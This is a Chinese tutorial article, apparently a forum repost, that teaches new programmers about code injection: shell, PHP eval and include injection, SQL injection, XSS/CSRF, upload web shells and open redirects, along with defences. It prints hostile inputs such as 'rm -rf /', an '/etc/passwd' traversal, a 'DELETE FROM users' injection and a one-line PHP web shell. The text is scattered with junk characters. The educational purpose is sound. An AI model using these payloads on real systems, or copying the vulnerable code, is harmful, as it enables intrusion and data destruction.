|
几个月在我的微博上说过要建一个程序员疫苗网站,希望大家一起来提交一些错误示例的代码,来帮助我们新入行的程序员,不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样,我们应该给我们的新入行的程序员注射一些疫苗,就像给新生儿打疫苗一样,希望程序员从入行时就对这些错误有抵抗力。 我的那个疫苗网站正在建议中(不好意思拖了很久),不过,我可以先写一些关于程序员疫苗性质的文章,也算是热热身。希望大家喜欢,先向大家介绍第一注疫苗——代码注入。 Shell注入我们先来看一段perl的代码: [size=1em][size=1em]1
- K% N" C7 f8 @8 }# D1 `( D) b[size=1em]2 x# Z7 m" i8 n1 h% L0 ]4 S6 {/ v c
[size=1em]3 ! f7 P# d- \. X; C- V
[size=1em]4 " W' {1 s$ \( y5 G3 N$ G( w9 g7 n
[size=1em]5
# Z% j3 D- t5 h, B- r2 N[size=1em]6 & Y( d- W- e( ~ v: v# \
[size=1em]7
6 |, }8 I. V+ E7 k! F0 I+ L[size=1em]8
3 ~5 l) j" }6 w& e3 r) N: ^[size=1em]9 & Z' Q/ t/ ?* [6 c f; Y9 V
[size=1em]10
$ h, u, Z2 t# ~3 Y+ s' {[size=1em]11
1 V. u" }' w) t6 Q | [size=1em][size=1em]use CGI qw(:standard);/ ]7 Z$ g5 H& W- Z) p+ m
[size=1em]$name = param('name');
7 z7 ?; w& p: y; X$ |[size=1em]$nslookup = "/path/to/nslookup";- Q* W5 @ r" H1 c# \ Q9 J6 i6 |
[size=1em]print header;0 N% `+ C2 _/ ]# [
[size=1em]if (open($fh, "$nslookup $name|")) {
1 ~% n( U" M/ H[size=1em] while (<$fh>) {, m7 k& u3 h7 p# H% e7 s
[size=1em] print escapeHTML($_);
6 N) e h2 O; H* ?" {& V[size=1em] print "<br>\n";: V& d+ O# w' S
[size=1em] }8 ^6 m) S, z, O3 f' c
[size=1em] close($fh);
6 G1 x) Z0 C) @: z9 a- ]3 Q[size=1em]}
3 e; ]' s& G( |' z
# Z) v% I1 S$ ]/ Z- X6 Q* W | + p: W- V1 d+ v6 m1 B7 ?% A4 r
+ n; C$ W2 K$ n1 X
如果用户输入的参数是: [size=1em][size=1em]1 4 j$ s6 S" q) z( V. t. g
| [size=1em][size=1em]coolshell.cn%20%3B%20/bin/ls%20-l8 s1 i* T; h- \ Q, |
, U* V( K% C/ s
|
2 X0 K4 _9 j+ Z' F: M1 L/ |9 Q" c2 v2 P6 [ @
那么,这段perl的程序就成了:
3 [. s) r" Q; G9 _3 @[size=1em][size=1em]1
! J! i% W: Q- B$ h/ h: V | [size=1em][size=1em]/path/to/nslookup coolshell.cn ; /bin/ls -l
( E7 B% D2 R! Q; g$ s$ b! V
" H6 e$ X+ G. ]5 l8 o | - d# U7 B7 a! ?1 d/ v- e* A4 N
1 z" }; V P+ m$ i2 M
我们再来看一段PHP的程序: [size=1em][size=1em]1 ( n9 E+ b& }* `3 v: t
[size=1em]2 ) S1 p+ e* { y+ N) Q
[size=1em]3 ' z+ [9 v$ V6 C ?, m3 r$ X
| [size=1em][size=1em]$myvar = 'somevalue';
$ e7 e) L- r/ W Y8 b. K7 s$ B1 d[size=1em]$x = $_GET['arg'];9 g5 A4 [) Z, ]/ b
[size=1em]eval('$myvar = ' . $x . ';');1 k* H2 e4 R) }6 d) ?: i
- Q [' y* Z$ A: l
|
. P' v0 J. w0 U6 P5 O
' }) U2 J- G) n$ T. v“eval“的参数将会视同PHP处理,所以额外的命令可被添加。例如:如果”arg”如果被设成”10; system('rm -rf /')“,后面的”system('rm -rf /')“代码将被运行,这等同在服务器上运行开发者意料外的程序。(关于rm -rf /,你懂的,可参看“一个空格引发的悲剧”) 再来看一个PHP的代码 [size=1em][size=1em]1
' ]6 ^7 J, s- H/ ~; P9 v& l+ N9 n! ^[size=1em]2
: h# Y/ {, J E[size=1em]3 - n0 l, N4 ?# b- |' z- T% \' m. _
[size=1em]4
! k# O, J. Y& B2 `[size=1em]5
* F8 J) S; f8 N( R. r: u$ N, {6 j[size=1em]6
7 s( A' H0 x; G- P) s0 ^% @ | [size=1em][size=1em]$isadmin= false;
8 {0 i' z; U' F3 ~/ _; t[size=1em]...; B. T1 r& b% a; ` T3 e
[size=1em]...* V' V( ~' U& M
[size=1em]foreach ($_GET as $key => $value) {
- p( `6 Y( j! `) `: N[size=1em] $$key = $value;9 I$ V$ c& c7 y, N$ j, }7 \1 o" e1 ?% x
[size=1em]}
' {2 b, E4 m4 O" s& b
# u* s, O7 I8 e& Y2 f |
D& d: ^, Q. M2 E; S
0 b9 W, T. ^8 K如果攻击者在查询字符串中给定”isadmin=1″,那$isadmin将会被设为值 “1″,然后攻击值就取得了网站应用的admin权限了。 再来看一个PHP的示例: [size=1em][size=1em]1
, c9 p4 u* L L+ Z! S& z# o[size=1em]2
, Q" H6 v6 ], G/ S; S4 L[size=1em]3
# g" O9 I5 ?; [1 {4 E- P6 c[size=1em]4
# }" T3 o, @0 O; O3 m | [size=1em][size=1em]$action = 'login';
! ?: P q) V- A) S( R q[size=1em] if (__isset( $_GET['act'] ) )
5 c, l5 g4 l! W. `" J" d0 e) A f6 G[size=1em] $action = $_GET['act'];2 H5 P5 s# _" i; j6 t1 P$ C
[size=1em] require( $action . '.php' );
+ c8 n' R: V, B B4 D% T- x- I( z. i; u" E) G% W( \
| # m3 g X0 e8 S$ N' r
3 V& M, _0 N# v' c1 o
这个代码相当危险,攻击者有可能可以干这些事: - /test.php?act=http://evil/exploit - 注入远程机器上有漏洞的文件。
- /test.php?act=/home/www/bbs/upload/exploit - 从一个已经上载、叫做exploit.php文件运行其代码。
- /test.php?act=../../../../etc/passwd%00 - 让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除.php扩展名限制,允许访问其他非 .php 结尾文件。 (PHP默认值”magic_quotes_gpc = On”可以终止这种攻击)
7 k( r$ Y5 k( o0 l% \6 z' W
这样的示例有很多,只要你的程序有诸如:system()、StartProcess()、java.lang.Runtime.exec()、System.Diagnostics.Process.Start()以及类似的应用程序接口,都是比较危险的,最好不要让其中的字符串去拼装用户的输入。 PHP提供escapeshellarg()和escapeshellcmd()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的 。 SQL注入SQL injection,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏。 在应用程序中若有下列状况,则可能应用程序正暴露在SQL Injection的高风险情况下: - 在应用程序中使用字符串联结方式组合SQL指令(如:引号没有转义)。
- 在应用程序链接数据库时使用权限过大的帐户(如:很多开发人员都喜欢用sa(最高权限的系统管理员帐户)连接Microsoft SQL Server数据库)。
- 在数据库中开放了不必要但权力过大的功能(例如在Microsoft SQL Server数据库中的xp_cmdshell延伸预存程序或是OLE Automation预存程序等)
- 过于信任用户所输入的数据,未限制输入的字符数,以及未对用户输入的数据做潜在指令的检查。& I9 f5 e6 F2 P% Y0 s( A T
例程: 某个网站的登录验证的SQL查询代码为 [size=1em][size=1em]1
9 P' d6 w7 `0 `- J! \( U[size=1em]2
+ `) `$ E. X9 c1 }2 N: h# t1 h | [size=1em][size=1em]strSQL = "SELECT * FROM users% k2 S8 N, C' b+ S8 v6 G
[size=1em]WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
" s, Z/ y) ^) j0 H% }# |) H" I- o. b$ O- x
|
7 G5 m4 f8 W: T% j8 M+ F$ X8 y$ Y* `1 P( ^9 I
用户在登录时恶意输入如下的的用户名和口令: [size=1em][size=1em]1 7 _: F7 a: G; H) b p1 t
| [size=1em][size=1em]userName = "' OR '1'='1";
8 @# b H, S+ e) |5 p! A" o
% L) a1 }, V+ n. k9 r$ P, ? |
& Q8 j# t/ E4 j; }
) ]. `( w# O4 k( C- l* X( q[size=1em][size=1em]1 6 r9 v* z r" |1 i
| [size=1em][size=1em]passWord = "' OR '1'='1";! g y) J: [* A- H X" N% T
1 T% k6 J( O9 W6 P* I
| 4 a& o7 J( E3 q: w' @3 n
8 ]8 ]. f/ _+ v9 }% n% i0 k
此时,将导致原本的SQL字符串被解析为: [size=1em][size=1em]1
9 A- |6 V: W( L3 S[size=1em]2 . ?% ]) c2 n- [0 q0 @
| [size=1em][size=1em]strSQL = "SELECT * FROM users! X6 S1 k; ]8 z$ L- I% ~
[size=1em]WHERE (name = '' OR '1'='1') and (pw = '' OR '1'='1');" l# E% a8 H2 a) f
, L, G, x ?0 l | , ?( i2 }0 u( w) J
4 t2 `0 W4 @% g1 m也就是实际上运行的SQL命令会变成下面这样的,因此导致无帐号密码,也可登录网站。 [size=1em][size=1em]1 1 s9 ~( ?4 l9 U5 J* m+ A
| [size=1em][size=1em]strSQL = "SELECT * FROM users;"
( a" C( [: w \6 h# z8 |: n2 k* {+ C. J6 m, D0 @% q* Z
|
+ n7 h0 I0 x% |7 F9 W! V9 { W; {1 w8 y
这还不算恶劣的,真正恶劣的是在你的语句后再加一个自己的语句,如: [size=1em][size=1em]1
( D3 m; x+ i' W+ {0 v, `3 ~ | [size=1em][size=1em]username= "' ; DELETE FROM users; --";4 W2 x2 N, O: X Z& n7 m0 I6 P
5 @' r9 D4 U& p. e* e L | . ]" X" g! o T& ?/ D! d4 U( R, i
# x$ J8 {( h* q) x8 z这样一来,要么整个数据库的表被人盗走,要么被数据库被删除。 所以SQL注入攻击被俗称为黑客的填空游戏。你是否还记得酷壳新浪微博的XSS攻击》一文。XSS攻击是程序员有一糊涂就很容易犯的错误,你还可以看看网上的《腾讯微博的XSS攻击》。 XSS攻击在论坛的用户签档里面(使用img标签)也发生过很多次,包括像一些使用bcode的网站,很有可能会被注入一些可以被浏览器用来执行的代码。包括CSS都有可能被注入javascript代码。 另外,XSS攻击有一部分是和浏览器有关的。比如,如下的一些例子,你可能从来都没有想过吧?(更多的例子可以参看酷壳很早以前的这篇文章《浏览器HTML安全列表》) [size=1em][size=1em]1
8 ]9 D9 m* g1 Y s8 S# w- P[size=1em]2 * Y( z, i( r. X6 j. @+ _: q
[size=1em]3
/ i2 j& E/ j/ u6 ^0 x7 Q" T[size=1em]4 ^; w8 n4 x: ^9 C& H+ p6 I
[size=1em]5 ! Y1 z$ y2 C! ^$ ^7 q( _
| [size=1em][size=1em]<table background=”javascript:alert(1)”>* Q, E6 u/ r+ J e
% k7 K/ z7 r! M6 l3 q' \' ~0 p+ T[size=1em]<meta charset=”mac-farsi”>¼script¾alert(1)¼/script¾. j, m6 `0 J6 Q( X2 ^' a
0 l2 j- R# f: `, s
[size=1em]<img src=”javascript:alert(1)”>
+ o1 z! W$ e$ q; H3 `9 G/ R+ E% f) b& q$ f
|
# i! j: A6 [# a* q5 U: g2 `+ m* g) L4 z( P
XSS攻击通常会引发CSRF攻击。CSRF攻击主要是通过在A站上设置B站点上的链接,通过使用用户在B站点上的登录且还没有过期的cookie,从而使得用户的B站点被攻击。(这得益于现在的多Tab页的浏览器,大家都会同时打开并登录很多的网站,而这些不同网站的页面间的cookie又是共享的) 于是,如果我在A站点内的某个贴子内注入这么一段代码: [size=1em][size=1em]1 7 B4 T" G1 p6 T* ^" K: U
| | ' ~% p3 k' s7 `3 ^
; p3 e- C! v' z
很有可能你就在访问A站的这个贴子时,你的网银可能向我转了一些钱。 如何避免 要防止XSS攻击,一般来说有下面几种手段: - 严格限制用户的输入。最好不要让用户输入带标签的内容。最好不要让用户使用一些所见即所得的HTML编辑器。0 I. |9 `+ m% a5 L9 C) G1 V2 b+ G
- 严格过滤用户的输入。如:
- PHP的htmlentities()或是htmlspecialchars()或是strip_tags()。
- Python的cgi.escape()
- ASP的Server.HTMLEncode()。
- Node.js的node-validator。
- Java的xssprotect。' ]1 g) K; ` y/ {9 h! `! u# P; |
" i6 R: k- r; I$ l, k
- 在一些关键功能,完全不能信任cookie,必需要用户输入口令。如:修改口令,支付,修改电子邮件,查看用户的敏感信息等等。
8 h% M( y9 @# Y" l. a2 F
- 限制cookie的过期时间。4 Q7 }7 g0 `. C. r9 C' N: Y0 {
- 对于CRSF攻击,一是需要检查http的reference header。二是不要使用GET方法来改变数据,三是对于要提交的表单,后台动态生成一个随机的token,这个token是攻击者很难伪造的。(对于token的生成,建议找一些成熟的lib库)
6 f2 x5 R4 t3 x6 Q
另外,你可能觉得网站在处理用户的表单提交就行了,其实不是,想一想那些Web Mail,我可以通过别的服务器向被攻击用户发送有JS代码、图片、Flash的邮件到你的邮箱,你打开一看,你就中招了。所以,WebMail一般都禁止显示图片和附件,这些都很危险,只有你完全了解来源的情况下才能打开。电子邮件的SMTP协议太差了,基本上无法校验其它邮件服务器的可信度,我甚至可以自己建一个本机的邮件服务器,想用谁的邮件地址发信就用谁的邮件地址发信。所以,我再次真诚地告诉大家,请用gmail邮箱。别再跟我说什么QQMail之类的好用了。 上传文件上传文件是一个很危险的功能,尤其是你如果不校验上传文件的类型的话,你可能会中很多很多的招,这种攻击相当狠。试想,如果用户上传给你一个PHP、ASP、JSP的文件,当有人访问这个文件时,你的服务器会解释执行之,这就相当于他可以在你的服务器上执行一段程序。这无疑是相当危险的。 举个例子: [size=1em]上传页面[size=1em]1 & X/ Z1 D& Z# t9 Q9 i
[size=1em]2 5 G1 ]" c8 g8 m: e
[size=1em]3 * L F6 f& Y7 c6 a% @) ~" ?' Q
[size=1em]4 8 t( E# T- X/ D) ^ E
[size=1em]5
. _& S2 p! h4 C( Q+ Z( k2 V2 M9 Q[size=1em]6 , g* N! |/ G4 a' z9 j7 N
[size=1em][size=1em]<form action="upload_picture.php" method="post" enctype="multipart/form-data">$ c8 n5 o" F! O! `- F% Z
[size=1em]要上传的文件:
# H/ A! u! q8 o' t' F! E$ t* Q" ][size=1em]<input type="file" name="filename"/>
) X. B5 w# b( V6 j2 U4 O# w) A[size=1em]<br/>' q y& `$ t( }8 V; i
[size=1em]<input type="submit" name="submit" value="Submit"/>. W! U) c; k: J: _
[size=1em]</form>( Z+ i3 \8 w, N# p v
6 J) C7 y: y" Z7 n- {& c' c0 M
% h9 j) F I. B- ~
+ `" Z; _2 |! H
[size=1em]后台上传文件的PHP程序[size=1em]1
% f2 X' @" Z6 T9 l" w[size=1em]2
6 s/ N0 @$ k. P2 }( w, W( J[size=1em]3 * ~" m _ a: V
[size=1em]4
5 F; n+ u: ]+ K[size=1em]5 : G. B( w( h" I1 D
[size=1em]6
7 m) I" R0 R5 Y+ `5 n7 [[size=1em][size=1em]$target = "pictures/" . basename($_FILES['uploadedfile']['name']);
$ O' S' M4 Q$ r: w& Z3 l9 V5 q[size=1em]if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target)){
: z& x; n; b0 t[size=1em] echo "图片文件上传成功";
: x- Z( X8 ?* B7 R. R( v+ y[size=1em]}else{</div>% u5 H- i) O& @& s; Z
[size=1em] echo "图片文件上传失败";
7 T- c) L/ m4 V8 ^& ?/ m[size=1em]}
1 B, O# D1 D _7 B: A0 \# j
2 o- v. P) _% n( \ , O9 v3 Z; a8 Q7 O' A. v
* O7 v* G5 x0 d1 n: i/ ?# N3 ~假如我上传了一个PHP文件如下: [size=1em]文件名malicious.php[size=1em]1 9 ?: p* v' I5 E0 ^; w
[size=1em]2 : i' v$ f( b# H$ c
[size=1em]3 1 I0 i& f9 Z7 k6 M7 U
[size=1em][size=1em]<?php* g9 I" p) i1 l" d" y# G1 s7 f
[size=1em]system($_GET['cmd']);
: c, Q$ s/ E* ~9 P/ C4 \[size=1em]?>
+ {' V5 C( E s+ [* G( Z' v, U# o0 P* m$ d; m3 r$ R _
/ d5 }+ K5 U5 @9 a4 Z7 ^$ v% p2 A5 B% j
那么,我就可以通过如下的URL访问攻击你的网站了: [size=1em][size=1em]1 ( E4 n, X, p( ]4 S& Q6 X' ]
| [size=1em][size=1em]http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l3 b2 ~) [. p# d. ^: v! Y6 \3 Q( v
; `8 w/ y# e d5 W1 a& K
| 8 s# ]5 n6 W% \* m* U$ R
1 h4 u- V, k! W( _
抵御这样的攻击有两种手段: 1)限制上传文件的文件扩展名。 2)千万不要使用root或Administrator来运行你的Web应用。 URL跳转URL跳转很有可能会成为攻击利用的工具。 比如下面的PHP代码: [size=1em][size=1em]1 8 B& \7 o* k% W% S3 o
[size=1em]2 : v- s7 o& l# y
| [size=1em][size=1em]$redirect_url = $_GET['url'];
: k6 y) O! {' [0 K[size=1em]header("Location: " . $redirect_url);
8 [; j# d k2 s' ]- v4 D) {4 D( b+ @% u8 k2 S* W6 d1 U& a! C
| . T$ ?7 N9 t. S
* T1 b D k; I! U这样的代码可能很常见,比如当用户在访问你的网站某个页观的时候没有权限,于是你的网站跳转到登录页面,当然登录完成后又跳转回刚才他访问的那个页面。一般来说,我们都会在跳转到登录页面时在URL里加上要被跳转过去的网页。于是会出现上述那样的代码。 于是我们就可以通过下面的URL,跳转到一个恶意网站上,而那个网站上可能有一段CSRF的代码在等着你,或是一个钓鱼网站。
1 H: n, J j0 r- v- ?8 l[size=1em][size=1em]1
1 ^6 N& N' B" D. j | [size=1em][size=1em]http://bank.example.com/redirect?url=http://attacker.example.net
* b* a) t6 }' b0 k. Y% C" c5 |% u$ i' A
|
& W3 v4 q9 N/ \# M7 B
3 t. ?: k2 u" e, E) h, ^# p# z这种攻击具有的迷惑性在于,用户看到的http://bank.example.com,以为是一个合法网站,于是就点了这个链接,结果通过这个合法网站,把用户带到了一个恶意网站,而这个恶意网站上可能把页面做得跟这个合法网站一模一样,你还以为访问的是正确的地方,结果就被钓鱼了。 解决这个问题很简单,你需要在你的后台判断一下传过来的URL的域名是不是你自己的域名。 你可以看看Google和Baidu搜索引擎的链接跳转,百度的跳转链接是被加密过的,而Google的网站链接很长,里面有网站的明文,但是会有几个加密过的参数,如果你把那些参数移除掉,Google会显示一个重定向的提醒页面。(我个人觉得还是Google做得好) |